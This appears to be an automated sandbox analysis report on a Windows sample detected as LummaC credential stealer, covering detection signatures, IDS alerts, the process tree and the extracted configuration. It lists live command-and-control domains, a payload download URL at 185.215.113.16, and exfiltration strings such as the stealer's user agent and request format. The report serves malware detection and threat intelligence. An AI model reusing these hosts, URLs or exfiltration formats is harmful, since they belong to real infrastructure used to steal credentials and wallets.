Edit tour

Windows Analysis Report
CAo57G5Cio.exe

Overview

General Information

Sample name:	CAo57G5Cio.exe renamed because original name is a hash value
Original sample name:	cdcaa653fe18f53e5fbbca4d7a02c6bc.exe
Analysis ID:	1581240
MD5:	cdcaa653fe18f53e5fbbca4d7a02c6bc
SHA1:	ad4341677ecf5ed7968198b327507f5842086d8c
SHA256:	65697232568baa86a010e0d5f589410de0b388cf7baba7d7ef2a2869ff2943a6
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

CAo57G5Cio.exe (PID: 6188 cmdline: "C:\Users\user\Desktop\CAo57G5Cio.exe" MD5: CDCAA653FE18F53E5FBBCA4D7A02C6BC)

chrome.exe (PID: 7608 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7840 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=2100,i,16958849523531625039,1048488726275612115,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1860 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6612 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1912,i,13727675206218175945,3537329276965125636,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["appliacnesot.buzz", "inherineau.buzz", "prisonyfork.buzz", "rebuildeso.buzz", "scentniej.buzz", "hummskitnj.buzz", "mindhandru.buzz", "screwamusresz.buzz", "cashfuzysao.buzz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: CAo57G5Cio.exe PID: 6188	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: CAo57G5Cio.exe PID: 6188	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: CAo57G5Cio.exe PID: 6188	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: CAo57G5Cio.exe PID: 6188	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:00:00.288231+0100	2028371	3	Unknown Traffic	192.168.2.7	49702	172.67.165.185	443	TCP
2024-12-27T09:00:02.585693+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	172.67.165.185	443	TCP
2024-12-27T09:00:05.087403+0100	2028371	3	Unknown Traffic	192.168.2.7	49709	172.67.165.185	443	TCP
2024-12-27T09:00:08.560350+0100	2028371	3	Unknown Traffic	192.168.2.7	49720	172.67.165.185	443	TCP
2024-12-27T09:00:10.817230+0100	2028371	3	Unknown Traffic	192.168.2.7	49724	172.67.165.185	443	TCP
2024-12-27T09:00:13.853861+0100	2028371	3	Unknown Traffic	192.168.2.7	49731	172.67.165.185	443	TCP
2024-12-27T09:00:17.340150+0100	2028371	3	Unknown Traffic	192.168.2.7	49739	172.67.165.185	443	TCP
2024-12-27T09:00:22.769879+0100	2028371	3	Unknown Traffic	192.168.2.7	49757	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:00:01.214341+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49702	172.67.165.185	443	TCP
2024-12-27T09:00:03.394757+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49703	172.67.165.185	443	TCP
2024-12-27T09:00:23.579329+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49757	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:00:01.214341+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49702	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:00:03.394757+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49703	172.67.165.185	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:00:26.172321+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49760	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:00:09.413140+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49720	172.67.165.185	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: CAo57G5Cio.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://mindhandru.buzz/MSWznTY69wwRW38B95	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/api~	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/1	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apiPcG3	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exe/	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apit	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/v	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/a	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apiU	Avira URL Cloud: Label: malware

Found malware configuration

Source: CAo57G5Cio.exe.6188.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["appliacnesot.buzz", "inherineau.buzz", "prisonyfork.buzz", "rebuildeso.buzz", "scentniej.buzz", "hummskitnj.buzz", "mindhandru.buzz", "screwamusresz.buzz", "cashfuzysao.buzz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: CAo57G5Cio.exe	Virustotal: Detection: 58%			Perma Link
Source: CAo57G5Cio.exe	ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: CAo57G5Cio.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: mindhandru.buzz
Source: 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: CAo57G5Cio.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49757 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: CAo57G5Cio.exe, 00000000.00000002.1719068314.0000000006352000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49702 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49702 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49703 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49703 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49720 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49757 -> 172.67.165.185:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 08:00:25 GMTContent-Type: application/octet-streamContent-Length: 2784256Last-Modified: Fri, 27 Dec 2024 07:39:36 GMTConnection: keep-aliveETag: "676e59b8-2a7c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 bf 73 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 69 63 73 72 68 71 6f 00 00 2a 00 00 a0 00 00 00 ec 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 74 78 6a 72 66 65 63 00 20 00 00 00 a0 2a 00 00 06 00 00 00 54 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 5a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 172.67.165.185 172.67.165.185
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49702 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49709 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49720 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49724 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49731 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49739 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49757 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49760 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
